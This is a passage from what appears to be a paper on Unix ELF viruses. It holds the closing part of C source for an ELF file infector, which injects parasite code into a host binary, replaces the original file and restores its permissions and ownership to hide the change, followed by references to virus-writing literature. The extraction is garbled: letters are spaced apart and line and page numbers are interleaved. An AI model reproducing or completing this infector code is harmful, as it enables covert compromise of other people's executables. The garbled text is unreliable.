292
if ( w r i t e ( od , idata , E L F _ P A G E _ S I Z E - len ) < 0) {
293
p e r r o r ( " w r i t e " );
294
e x i t ( 1 ) ;
295
}
296
297
c o p y _ p a r t i a l ( fd , od , o s h o f f - o f f s e t );
298
299
if ( w r i t e ( od , sdata , s l e n ) < 0) {
300
p e r r o r ( " w r i t e " );
301
e x i t ( 1 ) ;
302
}
303
f r e e ( s d a t a );
304
305
if ( l s e e k ( fd , pos = o s h o f f + slen , S E E K _ S E T ) < 0) {
306
p e r r o r ( " l s e e k " );
307
e x i t ( 1 ) ;
308
}
309
310
c o p y _ p a r t i a l ( fd , od , s t a t . s t _ s i z e - pos );
43
311
312
/* M a k e t h e p a r a s i t i c E L F t h e r e a l o n e */
313
314
if ( r e n a m e ( t m p f i l e n a m e , f i l e n a m e ) < 0) {
315
p e r r o r ( " r e n a m e " );
316
e x i t ( 1 ) ;
317
}
318
319
/* M a k e it l o o k l i k e t h r o r i g i n a l */
320
321
if ( f c h m o d ( od , s t a t . s t _ m o d e ) < 0) {
322
p e r r o r ( " c h m o d " );
323
e x i t ( 1 ) ;
324
}
325
326
if ( f c h o w n ( od , s t a t . st_uid , s t a t . s t _ g i d ) < 0) {
327
p e r r o r ( " c h o w n " );
328
e x i t ( 1 ) ;
329
}
330
331
/* A l l d o n e */
332
333
p r i n t f ( " I n f e c t i o n D o n e \ n " );
334
}
335
336
int m a i n ( int argc , c h a r * a r g v [])
337
{
338
if ( a r g c != 2) {
339
f p r i n t f ( stderr , " u s a g e : infect - elf h o s t p a r a s i t e \ n " );
340
e x i t ( 1 ) ;
341
}
342
343
i n f e c t _ e l f ( a r g v [1] , p a r a s i t e , plength , h_index , e n t r y );
344
345
e x i t ( 0 ) ;
346
}
44
References
[1] L. Giles “Sun Tzu on the art of war”, 1910
[2] S. Cesare “Unix Viruses”, 1998,
[3] K. Rieck, K. Kretschmer “ Brundle Fly: A good-natured Linux ELF virus”,
roqe.org/brundle-fly/brundle-fly.html
[4] grugq, scut “Phrack 58: Armouring the ELF: Binary encodeion on the UNIX platform”
[5] “Virus Source Code Database”,
http://www.totallygeek.com/vscdb/
[6] P. Szor “Advanced code evolution techniques and computer virus generator kits”, 2005
[7] A. Bartolich “The ELF virus writing HOWTO”, 2003
[8] M. Zalewski “Writing Internet worms for fun and profit”, 2000,
[9] The Mental Driller “How do I made MetaPHOR and what I’ve learnt”, 29A #6 e-zine, 2002
45